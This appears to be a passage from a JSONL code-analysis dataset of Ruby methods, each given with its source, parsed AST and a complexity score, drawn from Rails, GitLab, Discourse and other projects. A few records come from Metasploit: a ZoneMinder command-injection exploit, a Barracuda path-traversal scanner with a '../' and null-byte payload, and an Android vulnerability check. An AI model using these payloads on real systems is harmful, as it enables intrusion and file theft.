"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"action=login&view=postlogin&username=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"&password=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticating as user '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<title>ZM - Login</title>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authentication failed\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Connection failed\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Authenticated successfully\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending payload (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"view=none&action=state&runState=start;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\"%26\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Payload sent successfully\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Sending payload failed\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Connection failed\"]}]}]}]},null]}]}]}]}","id":"5593367d-32e8-4bba-a36b-7368c35c9885"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/discourse_connect.rb","start_line":34,"raw_source":"def register_nonce(return_path)\n    if nonce\n      if SiteSetting.discourse_connect_csrf_protection\n        @server_session.set(nonce_key, return_path, expires: DiscourseConnectBase.nonce_expiry_time)\n      else\n        Discourse.cache.write(\n          nonce_key,\n          return_path,\n          expires_in: DiscourseConnectBase.nonce_expiry_time,\n        )\n      end\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"register_nonce\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nonce\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"discourse_connect_csrf_protection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_session\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"nonce_key\"]},{\"type\":\"lvar\",\"children\":[\"return_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseConnectBase\"]},\"nonce_expiry_time\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"nonce_key\"]},{\"type\":\"lvar\",\"children\":[\"return_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseConnectBase\"]},\"nonce_expiry_time\"]}]}]}]}]},null]}]}","id":"fb0de6b9-a5e4-4ba6-b83f-03a36e731386"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/file.rb","start_line":123,"raw_source":"def File.grpowned?(name)\n    stat(name).grpowned?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"grpowned?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stat\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"grpowned?\"]}]}","id":"f3d791c7-f7c7-4628-a44f-3013c46c19d5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_finder.rb","start_line":162,"raw_source":"def ruby_extension?(file)\n      ruby_extensions.include?(File.extname(file))\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ruby_extension?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ruby_extensions\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}","id":"e89e8afa-468d-45f6-aa0c-53d5b93a1a06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/saml/config.rb","start_line":71,"raw_source":"def external_groups\n          options[:external_groups]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"external_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"external_groups\"]}]}]}","id":"2f20972b-8fe5-46cb-a97d-c7ae96fcf212"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/copy/work_packages_dependent_service.rb","start_line":156,"raw_source":"def work_package_responsible_id(source_work_package)\n      possible_principal_id(source_work_package.responsible_id,\n                            source_work_package.project)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_responsible_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_work_package\"]}]},{\"type\":\"send\",\"children\":[null,\"possible_principal_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_work_package\"]},\"responsible_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_work_package\"]},\"project\"]}]}]}","id":"e269eff6-0d94-48b4-9144-f661ad8a1a83"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/inputs/builder.rb","start_line":18,"raw_source":"def initialize(specs)\n        @inputs = []\n        @errors = []\n\n        return unless valid_specs?(specs)\n\n        build_inputs!(specs.to_h)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"specs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@inputs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_specs?\",{\"type\":\"lvar\",\"children\":[\"specs\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"build_inputs!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"to_h\"]}]}]}]}","id":"aaa1253f-d4cc-4329-9ce8-4043e200f5bd"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/dependencies/require_dependency.rb","start_line":11,"raw_source":"def require_dependency(filename)\n    filename = filename.to_path if filename.respond_to?(:to_path)\n\n    unless filename.is_a?(String)\n      raise ArgumentError, \"the file name must be either a String or implement #to_path -- you passed #{filename.inspect}\"\n    end\n\n    if abspath = ActiveSupport::Dependencies.search_for_file(filename)\n      require abspath\n    else\n      require filename\n    end\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"require_dependency\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"to_path\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"the file name must be either a String or implement #to_path -- you passed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"inspect\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"abspath\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Dependencies\"]},\"search_for_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}","id":"aebd0def-cae9-47f1-9cc7-675705b79fef"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/json/encoding_test.rb","start_line":492,"raw_source":"def test_to_json_works_on_io_objects\n    assert_equal STDOUT.to_s.to_json, STDOUT.to_json\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_json_works_on_io_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDOUT\"]},\"to_s\"]},\"to_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDOUT\"]},\"to_json\"]}]}]}","id":"b048bde6-050c-4d9c-b9e2-db839711f71f"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/webdav.rb","start_line":66,"raw_source":"def copy?\n        request_method == 'COPY'\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"copy?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_method\"]},\"==\",{\"type\":\"str\",\"children\":[\"COPY\"]}]}]}","id":"352a456d-a53f-42ae-af69-d4398a4517c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/design_management/design.rb","start_line":261,"raw_source":"def user_notes_count_service\n      strong_memoize(:user_notes_count_service) do\n        DesignManagement::DesignUserNotesCountService.new(self) # rubocop: disable CodeReuse/ServiceClass\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"user_notes_count_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"user_notes_count_service\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DesignManagement\"]},\"DesignUserNotesCountService\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"6678ddcb-fd80-4746-a3f1-bf7cb767b78f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/android/local/futex_requeue.rb","start_line":112,"raw_source":"def check\n    os = cmd_exec('getprop ro.build.version.release')\n    unless Rex::Version.new(os) < Rex::Version.new('4.5.0')\n      vprint_error \"Android version #{os} does not appear to be vulnerable\"\n      return CheckCode::Safe\n    end\n    vprint_good \"Android version #{os} appears to be vulnerable\"\n\n    CheckCode::Appears\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"getprop ro.build.version.release\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"os\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.5.0\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Android version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]},{\"type\":\"str\",\"children\":[\" does not appear to be vulnerable\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Android version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]},{\"type\":\"str\",\"children\":[\" appears to be vulnerable\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]}","id":"751e183f-2c3a-4fd0-b6e0-3d05fd3fcb52"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/logging.rb","start_line":51,"raw_source":"def instance_logger\n      @instance_logger ||= LogProxy.new(name, '#', {})\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instance_logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@instance_logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LogProxy\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"71c6b163-300d-49c0-aafd-493e7d006690"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":766,"raw_source":"def parse_singleline(lines, tail_watcher)\n      es = Fluent::MultiEventStream.new\n      lines.each { |line|\n        convert_line_to_event(line, es, tail_watcher)\n      }\n      es\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_singleline\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lines\"]},{\"type\":\"arg\",\"children\":[\"tail_watcher\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"es\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"MultiEventStream\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[null,\"convert_line_to_event\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"es\"]},{\"type\":\"lvar\",\"children\":[\"tail_watcher\"]}]}]},{\"type\":\"lvar\",\"children\":[\"es\"]}]}]}","id":"697a9160-4bbb-4419-89fc-4c0c5118b931"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/range_ext_test.rb","start_line":44,"raw_source":"def test_overlap_last_inclusive\n    assert((1..5).overlap?(5..10))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_overlap_last_inclusive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]}]}]},\"overlap?\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}","id":"d78aac98-88b3-4c5e-aa34-901c753d4937"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/users_statistics.rb","start_line":60,"raw_source":"def batch_count_for_access_level(access_level)\n      Gitlab::Database::BatchCount.batch_count(UserHighestRole.with_highest_access_level(access_level))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_count_for_access_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"BatchCount\"]},\"batch_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHighestRole\"]},\"with_highest_access_level\",{\"type\":\"lvar\",\"children\":[\"access_level\"]}]}]}]}","id":"50d52b37-57ac-4662-91ca-feebd0154bc2"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/duration_test.rb","start_line":196,"raw_source":"def test_date_added_with_zero_days\n    assert_equal Date.civil(2017, 1, 1), Date.civil(2017, 1, 1) + 0.days\n    assert_instance_of Date, Date.civil(2017, 1, 1) + 0.days\n  end","complexity_score":14.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_date_added_with_zero_days\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[0]},\"days\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[0]},\"days\"]}]}]}]}]}","id":"0b60abe5-7e78-4db3-937c-306c849a8933"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb","start_line":42,"raw_source":"def run_host(ip)\n    uri = normalize_uri(target_uri.path)\n    file = datastore['FILE']\n    payload = \"?locale=/../../../../../../..#{file}%00\"\n\n    print_status(\"#{full_uri} - Barracuda - Checking if remote server is vulnerable\")\n\n    res = send_request_raw(\n      {\n        'method' => 'GET',\n        'uri' => uri + payload,\n      }, 25\n    )\n\n    if res.nil?\n      print_error(\"#{full_uri} - Connection timed out\")\n      return\n    end\n\n    if (res.code == 200 and res.body)\n      if res.body.match(/\\<html\\>(.*)\\<\\/html\\>/im)\n        html = $1\n\n        if res.body =~ /barracuda\\.css/\n          if html.length > 100\n            file_data = html.gsub(%r{</?[^>]+?>}, '')\n\n            print_good(\"#{full_uri} - Barracuda - Vulnerable\")\n            print_good(\"#{full_uri} - Barracuda - File Output:\\n\" + file_data + \"\\n\")\n          else\n            print_error(\"#{full_uri} - Barracuda - Not vulnerable: HTML too short?\")\n          end\n        elsif res.body =~ /help_page/\n          print_error(\"#{full_uri} - Barracuda - Not vulnerable: Patched?\")\n        else\n          print_error(\"#{full_uri} - Barracuda - File not found or permission denied\")\n        end\n      else\n        print_error(\"#{full_uri} - Barracuda - No HTML was returned\")\n      end\n    else\n      print_error(\"#{full_uri} - Barracuda - Unrecognized #{res.code} response\")\n    end\n  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n  rescue ::Timeout::Error, ::Errno::EPIPE\n  end","complexity_score":81.58,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?locale=/../../../../../../..\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\"%00\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Barracuda - Checking if remote server is vulnerable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Connection timed 